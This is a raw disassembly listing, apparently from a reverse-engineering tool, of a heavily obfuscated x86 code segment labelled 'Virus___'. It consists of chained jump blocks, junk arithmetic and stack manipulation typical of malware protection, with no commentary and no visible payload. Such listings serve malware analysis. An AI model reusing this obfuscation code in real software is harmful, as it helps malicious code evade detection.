		add	ebx, 2691317Bh
		pop	esi
		push	edi
		mov	edi, 69DD0277h
		dec	edi
		xchg	ebp, edi
		jmp	loc_58BD20
; ---------------------------------------------------------------------------


loc_587B98:				; CODE XREF: Virus___:00587E59j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58AF8E
; ---------------------------------------------------------------------------


loc_587BA9:				; CODE XREF: Virus___:00591F75j
		add	al, 0C1h
		sub	al, 7
		sub	al, bl
		push	ebx
		push	ecx
		mov	ch, 24h
		mov	bl, ch
		pop	ecx
		add	bl, 0E3h
		add	al, bl
		jmp	loc_5838D7
; ---------------------------------------------------------------------------


loc_587BC0:				; CODE XREF: Virus___:00584D06j
		add	esi, ebp
		add	esi, 207B4575h
		mov	ebp, [esp]
		jmp	loc_5923D6
; ---------------------------------------------------------------------------


loc_587BD0:				; CODE XREF: Virus___:0058964Fj
		pop	ecx
		pop	edx
		add	bl, 8Eh
		sub	esp, 4
		mov	[esp], edx
		push	683Dh
		mov	[esp], esi
		mov	esi, 746302CDh
		push	9AF221ECh
		pop	edx
		add	edx, esi
		jmp	loc_5927DC
; ---------------------------------------------------------------------------


loc_587BF8:				; CODE XREF: Virus___:00580F9Aj
		mov	ebx, 1
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		not	ecx
		push	edi
		mov	edi, 2DF96374h
		or	ecx, edi
		pop	edi
		sub	ecx, 3FFD63FEh
		jmp	loc_580A7B
; ---------------------------------------------------------------------------


loc_587C1E:				; CODE XREF: Virus___:005926B8j
		push	edx
		mov	dh, 90h
		mov	bl, dh
		jmp	loc_58256A
; ---------------------------------------------------------------------------


loc_587C28:				; CODE XREF: Virus___:00580055j
		add	ebx, edi
		add	ebx, 5CCB27B8h
		push	dword ptr [esp]
		jmp	loc_5864DE
; ---------------------------------------------------------------------------


loc_587C38:				; CODE XREF: Virus___:005816B6j
		add	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_587C42:				; CODE XREF: Virus___:00580623j
		shr	ecx, 4
		shr	ecx, 4
		push	ebx
		push	3A28F6h
		jmp	loc_58046B
; ---------------------------------------------------------------------------


loc_587C53:				; CODE XREF: Virus___:00590A76j
		add	esp, 4
		jmp	loc_57F534
; ---------------------------------------------------------------------------


loc_587C5E:				; CODE XREF: Virus___:0058EB9Dj
		push	4898h
		mov	[esp], edi
		mov	edi, 1B4B5D54h
		jmp	loc_5902F9
; ---------------------------------------------------------------------------


loc_587C70:				; CODE XREF: Virus___:0058688Ej
		mov	eax, edx
		pop	edx
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_58A586
; ---------------------------------------------------------------------------


loc_587C7D:				; CODE XREF: Virus___:0058CFACj
		mov	eax, [esp]
		jmp	loc_58EE62
; ---------------------------------------------------------------------------


loc_587C85:				; CODE XREF: Virus___:0058C964j
		mov	ebp, 75D728DEh
		or	ecx, ebp
		pop	ebp
		jmp	loc_58E7BE
; ---------------------------------------------------------------------------


loc_587C92:				; CODE XREF: Virus___:005808DEj
		or	ecx, 2FCA05CEh
		and	ecx, 6A824C9Fh
		shr	ecx, 8
		add	ecx, 0FF957E00h
		jmp	loc_58F18C
; ---------------------------------------------------------------------------


loc_587CAC:				; CODE XREF: Virus___:00593749j
		push	ebp
		mov	ebp, 310E29A7h
		mov	eax, 3D271169h
		xor	eax, ebp
		pop	ebp
		shl	eax, 1
		shl	eax, 5
		jmp	loc_58EEA5
; ---------------------------------------------------------------------------


loc_587CC4:				; CODE XREF: Virus___:00590CC3j
		mov	[edx+38h], ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	7A92h
		mov	[esp], esi
		mov	esi, esp
		push	43C1h
		mov	[esp], eax
		push	3033619Dh
		jmp	loc_58656C
; ---------------------------------------------------------------------------


loc_587CEC:				; CODE XREF: Virus___:0058B052j
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58F336
; ---------------------------------------------------------------------------


loc_587D06:				; CODE XREF: Virus___:005899F5j
		mov	esi, 34BD3CDAh
		jmp	loc_58230D
; ---------------------------------------------------------------------------


loc_587D10:				; CODE XREF: Virus___:00593F99j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_593357
; ---------------------------------------------------------------------------


loc_587D2A:				; CODE XREF: Virus___:0058AA30j
		mov	esi, 47016B7Ch
		jmp	loc_588084
; ---------------------------------------------------------------------------


loc_587D34:				; CODE XREF: Virus___:0058F52Bj
		add	ebp, 4F9F27F7h
		pop	ecx
		jmp	loc_5816A3
; ---------------------------------------------------------------------------


loc_587D40:				; CODE XREF: Virus___:0058AC78j
		dec	esi
		inc	esi
		add	esi, 24111E2Ah
		xor	esi, 0C7537912h
		mov	ebp, esi
		jmp	loc_593902
; ---------------------------------------------------------------------------


loc_587D55:				; CODE XREF: Virus___:0058C8E5j
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	ch, 0C0h
		not	ch
		sub	ch, 0FBh
		sub	al, 51h
		add	al, 0B0h
		jmp	loc_5872F8
; ---------------------------------------------------------------------------


loc_587D6C:				; CODE XREF: Virus___:0058213Bj
		mov	esp, [esp]
		jmp	loc_591243
; ---------------------------------------------------------------------------


loc_587D74:				; CODE XREF: Virus___:00585CA0j
		mov	ebx, 4
		jmp	loc_57F595
; ---------------------------------------------------------------------------


loc_587D7E:				; CODE XREF: Virus___:00583A6Fj
		mov	edx, 327C508Bh
		xor	edx, 6B7F6512h
		sub	edx, 26CF5FA2h
		jmp	loc_584BDB
; ---------------------------------------------------------------------------


loc_587D94:				; CODE XREF: Virus___:005864A1j
		and	ebp, 7A6B3185h
		shl	ebp, 3
		dec	ebp
		jmp	loc_582FFE
; ---------------------------------------------------------------------------


loc_587DA3:				; CODE XREF: Virus___:0058B2FFj
		add	esi, 0FFDAC6B3h
		mov	edi, esi
		pop	esi
		jmp	loc_586657
; ---------------------------------------------------------------------------


loc_587DB1:				; CODE XREF: Virus___:00584302j
		push	small 2BBAh
		pop	ax
		sub	dx, 6B02h
		add	dx, ax
		push	esi
		jmp	loc_584B02
; ---------------------------------------------------------------------------


loc_587DC5:				; CODE XREF: Virus___:00592E06j
		pop	edx
		sub	eax, 1CA90DFBh
		not	eax
		jmp	loc_58DB01
; ---------------------------------------------------------------------------


loc_587DD2:				; CODE XREF: Virus___:0058CA92j
		push	edx
		push	2
		mov	edx, [esp]
		add	esp, 4
		push	17F0h
		mov	[esp], eax
		mov	eax, edx
		mov	ecx, eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 6F743DDBh
		add	edx, ecx
		jmp	loc_588451
; ---------------------------------------------------------------------------


loc_587E02:				; CODE XREF: Virus___:0058F8CFj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_587E07:				; CODE XREF: Virus___:00583C44j
		push	ebp
		jmp	loc_592562
; ---------------------------------------------------------------------------


loc_587E0D:				; CODE XREF: Virus___:00580123j
		add	bh, 0BAh
		or	dl, bh
		pop	ebx
		shr	dl, 5
		jmp	loc_581177
; ---------------------------------------------------------------------------


loc_587E1B:				; CODE XREF: Virus___:00593CAEj
		mov	[esp], bx
		jmp	loc_586F3C
; ---------------------------------------------------------------------------


loc_587E24:				; CODE XREF: Virus___:00584104j
		push	53585FA7h
		pop	ebx
		jmp	loc_5822E1
; ---------------------------------------------------------------------------


loc_587E2F:				; CODE XREF: Virus___:00592BD6j
		pop	ebx
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	4DBh
		mov	[esp], edi
		push	ebx
		jmp	loc_593779
; ---------------------------------------------------------------------------


loc_587E46:				; CODE XREF: Virus___:00583E4Fj
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		jmp	loc_5921B6
; ---------------------------------------------------------------------------


loc_587E57:				; CODE XREF: Virus___:00591783j
		mov	ebx, esp
		jmp	loc_587B98
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	3390h
		mov	[esp], eax
		jmp	loc_57F3F4
; ---------------------------------------------------------------------------


loc_587E6F:				; CODE XREF: Virus___:0058D8A1j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	bl, 93h
		push	edx
		push	5374h
		mov	[esp], eax
		push	629Ch
		jmp	loc_580CD7
; ---------------------------------------------------------------------------


loc_587E94:				; CODE XREF: Virus___:00584475j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		push	edx
		mov	dh, 0A2h
		push	eax
		mov	al, dh
		mov	bh, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_582E9A
; ---------------------------------------------------------------------------


loc_587EC3:				; CODE XREF: Virus___:0058FA1Fj
		push	eax
		mov	al, 0B6h
		shl	al, 2
		and	al, 0B7h
		jmp	loc_58BA1B
; ---------------------------------------------------------------------------


loc_587ED0:				; CODE XREF: Virus___:00588F2Aj
		shl	esi, 7
		xor	esi, 7D2A5592h
		add	esi, 598A015Ah
		xor	esi, 60B04CC9h
		add	esi, 736750A0h
		xor	ebx, esi
		jmp	loc_584876
; ---------------------------------------------------------------------------


loc_587EF2:				; CODE XREF: Virus___:00587010j
		sub	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5899CB
; ---------------------------------------------------------------------------


loc_587F03:				; CODE XREF: Virus___:005886E3j
		sub	ecx, edx
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	6712h
		jmp	loc_580D2A
; ---------------------------------------------------------------------------


loc_587F1D:				; CODE XREF: Virus___:0058C793j
		pop	ebx
		jmp	loc_587A5C
; ---------------------------------------------------------------------------


loc_587F23:				; CODE XREF: Virus___:0057F430j
		sub	ebp, edi
		sub	ebp, 1BC672BDh
		pop	edi
		add	ebp, 4437408Ah
		mov	eax, [esp]
		push	66h
		jmp	loc_593602
; ---------------------------------------------------------------------------


loc_587F3F:				; CODE XREF: Virus___:0059399Cj
		pop	edi
		jmp	loc_581C93
; ---------------------------------------------------------------------------


loc_587F45:				; CODE XREF: Virus___:005923ACj
		mov	[esp], ebx
		push	edi
		jmp	loc_585FF0
; ---------------------------------------------------------------------------


loc_587F4E:				; CODE XREF: Virus___:005839A2j
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58C073
; ---------------------------------------------------------------------------


loc_587F5F:				; CODE XREF: Virus___:0058B0A9j
		pop	edx
		sub	al, bh
		pop	ebx
		sub	bl, 8Eh
		jmp	loc_5828F9
; ---------------------------------------------------------------------------


loc_587F6B:				; CODE XREF: Virus___:0059160Cj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_593019
; ---------------------------------------------------------------------------


loc_587F79:				; CODE XREF: Virus___:00591721j
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_580C3A
; ---------------------------------------------------------------------------


loc_587F85:				; CODE XREF: Virus___:00590F97j
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58F57D
; ---------------------------------------------------------------------------


loc_587F91:				; CODE XREF: Virus___:0059112Fj
		xor	eax, 28625442h
		jmp	loc_58FAFD
; ---------------------------------------------------------------------------


loc_587F9B:				; CODE XREF: Virus___:0058ED3Dj
		xor	edx, 4064094Ch
		add	edi, edx
		jmp	loc_592E3A
; ---------------------------------------------------------------------------


loc_587FA8:				; CODE XREF: Virus___:00587B28j
		mov	ebp, 3BD5687Eh
		sub	ecx, 143A2C3Dh
		add	ecx, ebp
		add	ecx, 143A2C3Dh
		pop	ebp
		add	ecx, 0D7F13367h
		push	esi
		mov	esi, 0
		sub	esi, ecx
		jmp	loc_589262
; ---------------------------------------------------------------------------


loc_587FCF:				; CODE XREF: Virus___:0058D5ADj
		pop	ecx
		add	al, 0CEh
		add	al, 0EBh
		sub	al, dh
		sub	al, 0EBh
		jmp	loc_59147B
; ---------------------------------------------------------------------------


loc_587FDD:				; CODE XREF: Virus___:00591556j
		mov	esi, 1CB55D0Ah
		jmp	loc_58D626
; ---------------------------------------------------------------------------


loc_587FE7:				; CODE XREF: Virus___:0058C520j
		xor	edi, ebp
		jmp	loc_584A13
; ---------------------------------------------------------------------------


loc_587FEE:				; CODE XREF: Virus___:0058261Dj
		push	3D38h
		jmp	loc_58239C
; ---------------------------------------------------------------------------


loc_587FF8:				; CODE XREF: Virus___:00580C06j
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 18E26AA2h
		sub	ecx, 18E26A9Eh
		sub	eax, 6D9669Ah
		add	eax, 635C10CFh
		jmp	loc_585E9A
; ---------------------------------------------------------------------------


loc_58802C:				; CODE XREF: Virus___:0058918Bj
		push	ebp
		mov	ebp, 42AD4E0Eh
		jmp	loc_591D1B
; ---------------------------------------------------------------------------


loc_588037:				; CODE XREF: Virus___:00589B8Fj
		and	ebp, 0F874402h
		jmp	loc_581C36
; ---------------------------------------------------------------------------


loc_588042:				; CODE XREF: Virus___:00580ADAj
		sub	edi, 455F1900h
		sub	edi, 71670D67h
		add	edi, ecx
		add	edi, 71670D67h
		add	edi, 455F1900h
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_591726
; ---------------------------------------------------------------------------


loc_588073:				; CODE XREF: Virus___:00592AFFj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5802CF
; ---------------------------------------------------------------------------


loc_588084:				; CODE XREF: Virus___:00587D2Fj
		push	ebx
		mov	ebx, 2C020EB4h
		and	esi, ebx
		pop	ebx
		jmp	loc_584D68
; ---------------------------------------------------------------------------


loc_588092:				; CODE XREF: Virus___:00592E63j
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_593C14
; ---------------------------------------------------------------------------


loc_58809D:				; CODE XREF: Virus___:00593066j
		pop	esp
		push	esi
		mov	esi, 69C00695h
		neg	esi
		sub	esi, 963FF967h
		add	ebp, esi
		jmp	loc_583C93
; ---------------------------------------------------------------------------


loc_5880B3:				; CODE XREF: Virus___:00587583j
		add	ecx, 0AEF683C4h
		sub	edx, 582C2A1Bh
		add	edx, ecx
		add	edx, 582C2A1Bh
		pop	ecx
		push	ecx
		mov	ecx, 46234724h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, edx
		push	ecx
		mov	ecx, 55D15B38h
		push	esi
		mov	esi, 31E443CAh
		dec	esi
		neg	esi
		jmp	loc_589290
; ---------------------------------------------------------------------------


loc_5880EC:				; CODE XREF: Virus___:005830D7j
		push	eax
		mov	eax, 4
		jmp	loc_57FF9E
; ---------------------------------------------------------------------------


loc_5880F7:				; CODE XREF: Virus___:0058AE66j
		pop	eax
		mov	edx, eax
		jmp	loc_58D58D
; ---------------------------------------------------------------------------


loc_5880FF:				; CODE XREF: Virus___:00585BECj
		add	esp, 4
		shl	dl, 4
		sub	dl, 0F4h
		sub	al, dl
		jmp	loc_586CA0
; ---------------------------------------------------------------------------


loc_588112:				; CODE XREF: Virus___:00591DAFj
		add	ebx, edi
		jmp	loc_580DCE
; ---------------------------------------------------------------------------


loc_588119:				; CODE XREF: Virus___:0058A174j
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_587733
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_59064D
; ---------------------------------------------------------------------------


loc_58812E:				; CODE XREF: Virus___:005849A3j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_58BFA8
; ---------------------------------------------------------------------------


loc_588151:				; CODE XREF: Virus___:00591996j
		push	edx
		mov	edx, 59A3762Dh
		shl	edx, 3
		shr	edx, 2
		push	edi
		jmp	loc_589784
; ---------------------------------------------------------------------------


loc_588163:				; CODE XREF: Virus___:005885DDj
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58816C:				; CODE XREF: Virus___:00582D62j
		pop	eax
		push	edi
		mov	edi, 4
		jmp	loc_5814FF
; ---------------------------------------------------------------------------


loc_588178:				; CODE XREF: Virus___:00580331j
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	bh, 50h
		neg	bh
		sub	bh, 0D9h
		and	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		inc	dl
		neg	dl
		push	ax
		mov	ah, 0Eh
		sub	dl, 0A2h
		add	dl, ah
		add	dl, 0A2h
		pop	ax
		sub	cl, 77h
		add	cl, dl
		add	cl, 77h
		jmp	loc_58FDDB
; ---------------------------------------------------------------------------


loc_5881AD:				; CODE XREF: Virus___:0058F77Dj
		sub	ebp, edx
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_581F0B
; ---------------------------------------------------------------------------


loc_5881BD:				; CODE XREF: Virus___:0058EF50j
		sub	ebx, esi
		pop	esi
		jmp	loc_58B6C6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_582CBD
; ---------------------------------------------------------------------------


loc_5881D1:				; CODE XREF: Virus___:00581DEAj
		sub	esi, edi
		pop	edi
		sub	eax, esi
		pop	esi
		jmp	loc_583B63
; ---------------------------------------------------------------------------


loc_5881DC:				; CODE XREF: Virus___:00589E46j
		push	dword ptr [esp]
		jmp	loc_58CFBA
; ---------------------------------------------------------------------------


loc_5881E4:				; CODE XREF: Virus___:0058D94Ej
		pop	ebp
		xor	edi, 51003B02h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_586E7C
; ---------------------------------------------------------------------------


loc_5881F8:				; CODE XREF: Virus___:005813A9j
		push	0FFFE7F33h
		pop	edi
		jmp	loc_59429A
; ---------------------------------------------------------------------------


loc_588203:				; CODE XREF: Virus___:0058F136j
		xor	ecx, 194C45FDh
		jmp	loc_5876F8
; ---------------------------------------------------------------------------


loc_58820E:				; CODE XREF: Virus___:0058EF57j
		pop	edx
		jmp	loc_58E726
; ---------------------------------------------------------------------------


loc_588214:				; CODE XREF: Virus___:00592F77j
		inc	ebp
		shl	ebp, 4
		sub	ebp, 4E7225DAh
		sub	ebp, 2AFB4CBCh
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		xchg	edx, esi
		jmp	loc_59430C
; ---------------------------------------------------------------------------


loc_588231:				; CODE XREF: Virus___:0058AD5Cj
		xor	ecx, [esp]
		mov	esp, [esp]
		idiv	cx
		push	small 1957h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58824A:				; CODE XREF: Virus___:005879FEj
		pop	esp
		mov	[esp], ebp
		mov	ebp, 5A553162h
		jmp	loc_58B0B7
; ---------------------------------------------------------------------------


loc_588258:				; CODE XREF: Virus___:0058F4FEj
		pop	ebp
		add	esi, 8DDF7F56h
		push	ecx
		jmp	loc_58A906
; ---------------------------------------------------------------------------


loc_588265:				; CODE XREF: Virus___:00580F4Fj
		xor	ax, dx
		mov	dx, [esp]
		jmp	loc_5887DA
; ---------------------------------------------------------------------------


loc_588271:				; CODE XREF: Virus___:00583177j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, 0D6667ACh
		sub	esi, eax
		add	esi, 0D6667ACh
		pop	eax
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58E557
; ---------------------------------------------------------------------------


loc_588298:				; CODE XREF: Virus___:00591503j
		mov	ebp, esp
		push	edx
		mov	edx, 6D273E33h
		push	edi
		jmp	loc_58B425
; ---------------------------------------------------------------------------


loc_5882A6:				; CODE XREF: Virus___:0058D40Cj
		sub	edi, 50B456CEh
		xor	edi, 0B0FDEA30h
		jmp	loc_58F0F0
; ---------------------------------------------------------------------------


loc_5882B7:				; CODE XREF: Virus___:00589278j
		neg	ecx
		jmp	loc_586350
; ---------------------------------------------------------------------------


loc_5882BE:				; CODE XREF: Virus___:0058E34Bj
		push	0
		sub	[esp], al
		jmp	loc_593E4A
; ---------------------------------------------------------------------------


loc_5882CB:				; CODE XREF: Virus___:005913DCj
		push	dword ptr [esp]
		jmp	loc_58D657
; ---------------------------------------------------------------------------


loc_5882D3:				; CODE XREF: Virus___:0058BD12j
		mov	edi, 0D343199Fh
		jmp	loc_58FEB9
; ---------------------------------------------------------------------------


loc_5882DD:				; CODE XREF: Virus___:0058684Dj
		sub	esp, 4
		jmp	loc_585A12
; ---------------------------------------------------------------------------


loc_5882E5:				; CODE XREF: Virus___:00582B4Bj
		pop	edx
		jmp	loc_58DF51
; ---------------------------------------------------------------------------


loc_5882EB:				; CODE XREF: Virus___:00588AE0j
		add	esp, 4
		push	dword ptr [ebx]
		push	ebp
		jmp	loc_586F1C
; ---------------------------------------------------------------------------


loc_5882F6:				; CODE XREF: Virus___:005943B2j
		xor	esi, 462274F7h
		add	esi, 0D8ECBEB9h
		mov	edx, esi
		pop	esi
		jmp	loc_586D74
; ---------------------------------------------------------------------------


loc_58830A:				; CODE XREF: Virus___:0058D310j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58972E
; ---------------------------------------------------------------------------


loc_588316:				; CODE XREF: Virus___:005858C7j
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_58646E
; ---------------------------------------------------------------------------


loc_58831F:				; CODE XREF: Virus___:005935FDj
		pop	dword ptr [esp]
		jmp	loc_58EA7F
; ---------------------------------------------------------------------------


loc_588327:				; CODE XREF: Virus___:00582A2Cj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_588B39
; ---------------------------------------------------------------------------


loc_588338:				; CODE XREF: Virus___:0058E042j
		pop	esi
		push	2EEh
		jmp	loc_581D80
; ---------------------------------------------------------------------------


loc_588343:				; CODE XREF: Virus___:005904F8j
		push	ebp
		mov	ebp, 4DEE1413h
		jmp	loc_5894D8
; ---------------------------------------------------------------------------


loc_58834E:				; CODE XREF: Virus___:0058887Dj
		add	byte ptr [esp],	0BFh
		mov	ch, [esp]
		add	esp, 2
		sub	ch, 46h
		sub	ch, 60h
		push	edx
		jmp	loc_580865
; ---------------------------------------------------------------------------


loc_588364:				; CODE XREF: Virus___:0058367Fj
		sub	ebp, 0B8AEF9EAh
		mov	edi, ebp
		pop	ebp
		and	edi, 55DF7A97h
		sub	edi, 44CF5DD1h
		and	edi, 5050211Ch
		inc	edi
		dec	edi
		sub	edi, 0F185E3AEh
		xor	edx, edi
		mov	edi, [esp]
		jmp	loc_588CB3
; ---------------------------------------------------------------------------


loc_588391:				; CODE XREF: Virus___:00591A17j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 20h
		sub	ebx, 1F915228h
		jmp	loc_589DA7
; ---------------------------------------------------------------------------


loc_5883A5:				; CODE XREF: Virus___:0058EE48j
		sub	esi, ebx
		pop	ebx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	65C7h
		jmp	loc_587717
; ---------------------------------------------------------------------------


loc_5883C6:				; CODE XREF: Virus___:00589AA7j
		neg	bh
		sub	bh, 0A0h
		add	al, bh
		pop	ebx
		mov	cx, [esp]
		push	5007h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 2
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_58397C
; ---------------------------------------------------------------------------


loc_5883F7:				; CODE XREF: Virus___:00593596j
		or	edi, 1E8D40B9h
		jmp	loc_58D838
; ---------------------------------------------------------------------------


loc_588402:				; CODE XREF: Virus___:0058E759j
		mov	ecx, esi
		pop	esi
		sub	ecx, 24EA23FDh
		neg	ecx
		add	ecx, 1CAA51C2h
		sub	ecx, 0ACDE3C2Eh
		push	ebx
		mov	ebx, 59840036h
		sub	ebx, 15655133h
		add	ebx, 101531Ch
		jmp	loc_582B67
; ---------------------------------------------------------------------------


loc_588430:				; CODE XREF: Virus___:0058EA92j
		pop	esi
		jmp	loc_5944CA
; ---------------------------------------------------------------------------


loc_588436:				; CODE XREF: Virus___:0058361Aj
		pop	esi
		push	edi
		push	ebx
		mov	ebx, 2F4747AEh
		jmp	loc_587277
; ---------------------------------------------------------------------------


loc_588443:				; CODE XREF: Virus___:0058796Cj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58C865
; ---------------------------------------------------------------------------


loc_588451:				; CODE XREF: Virus___:00587DFDj
		sub	edx, 6F743DDBh
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_58F93C
; ---------------------------------------------------------------------------


loc_588465:				; CODE XREF: Virus___:0058FEB4j
		pop	ecx
		sub	edx, 5FC7720Bh
		add	edx, ebx
		add	edx, 5FC7720Bh
		pop	ebx
		pop	ebp
		add	edx, ecx
		add	edx, 3A832F44h
		pop	ecx
		push	eax
		mov	eax, 4C206A35h
		add	eax, 1
		xor	eax, 47903B9Eh
		jmp	loc_58AFCC
; ---------------------------------------------------------------------------


loc_588494:				; CODE XREF: Virus___:005857EFj
		sub	eax, ebp
		pop	ebp
		sub	eax, ebp
		push	ebx
		jmp	loc_58B364
; ---------------------------------------------------------------------------


loc_58849F:				; CODE XREF: Virus___:005819C1j
		add	edx, eax
		push	esi
		jmp	loc_58998F
; ---------------------------------------------------------------------------


loc_5884A7:				; CODE XREF: Virus___:00583A01j
		mov	al, dh
		pop	edx
		or	al, 7Fh
		and	al, 6Dh
		jmp	loc_589D27
; ---------------------------------------------------------------------------


loc_5884B3:				; CODE XREF: Virus___:0058B35Fj
		mov	[esp], ebp
		pop	edx
		jmp	loc_5865A2
; ---------------------------------------------------------------------------


loc_5884BC:				; CODE XREF: Virus___:00586B66j
		add	bh, dl
		push	ax
		jmp	loc_58B0A3
; ---------------------------------------------------------------------------


loc_5884C5:				; CODE XREF: Virus___:0058D97Dj
		xor	edi, 2EFA1C9Ch
		xor	edi, 4E2F48D7h
		mov	ecx, edi
		pop	edi
		push	4EC3h
		mov	[esp], ecx
		mov	ecx, 5CBE4253h
		sub	ecx, 0FC55E62Fh
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 335324CFh
		jmp	loc_587971
; ---------------------------------------------------------------------------


loc_5884FC:				; CODE XREF: Virus___:00592975j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5943C3
; ---------------------------------------------------------------------------


loc_588507:				; CODE XREF: Virus___:0057F8E5j
		add	esp, 4
		jmp	loc_5817CD
; ---------------------------------------------------------------------------


loc_58850F:				; CODE XREF: Virus___:0057F37Fj
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	bl, 8Fh
		push	edx
		mov	dh, bl
		mov	ch, dh
		pop	edx
		pop	ebx
		shl	ch, 7
		xor	ch, 0B7h
		not	ch
		jmp	loc_584474
; ---------------------------------------------------------------------------


loc_58852F:				; CODE XREF: Virus___:0058D9D1j
		mov	ebp, 1102708Ah
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_58E4A7
; ---------------------------------------------------------------------------


loc_58853E:				; CODE XREF: Virus___:0058C326j
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_586C64
; ---------------------------------------------------------------------------


loc_588547:				; CODE XREF: Virus___:00591B6Fj
		mov	[esp], ebx
		jmp	loc_586335
; ---------------------------------------------------------------------------


loc_58854F:				; CODE XREF: Virus___:00581199j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_585A32
; ---------------------------------------------------------------------------


loc_58855D:				; CODE XREF: Virus___:0059436Aj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_586FA7
		push	dword ptr [edi+28h]
		push	ecx
		push	ebx
		push	2C4C406Bh
		pop	ebx
		shr	ebx, 1
		xor	ebx, 77A1965h
		jmp	loc_584A43
; ---------------------------------------------------------------------------


loc_588586:				; CODE XREF: Virus___:00586966j
		push	ebx
		jmp	loc_58B304
; ---------------------------------------------------------------------------


loc_58858C:				; CODE XREF: Virus___:00586FB9j
		mov	edx, 4
		sub	ebp, 52A440EDh
		add	ebp, edx
		add	ebp, 52A440EDh
		pop	edx
		push	676Fh
		mov	[esp], esi
		mov	esi, 4
		add	ebp, 2190222h
		jmp	loc_58C56B
; ---------------------------------------------------------------------------


loc_5885B8:				; CODE XREF: Virus___:00593ED3j
		sub	bl, dh
		add	bl, 49h
		add	bl, 23h
		mov	edx, [esp]
		add	esp, 4
		add	bl, dl
		jmp	loc_5827A6
; ---------------------------------------------------------------------------


loc_5885D0:				; CODE XREF: Virus___:0058465Cj
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_588163
; ---------------------------------------------------------------------------


loc_5885E2:				; CODE XREF: Virus___:005810CDj
		add	eax, ecx
		pop	ecx
		sub	eax, 56A63268h
		sub	eax, ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57FB93
; ---------------------------------------------------------------------------


loc_5885FA:				; CODE XREF: Virus___:00582A92j
		mov	ebx, ebp
		jmp	loc_581C7C
; ---------------------------------------------------------------------------


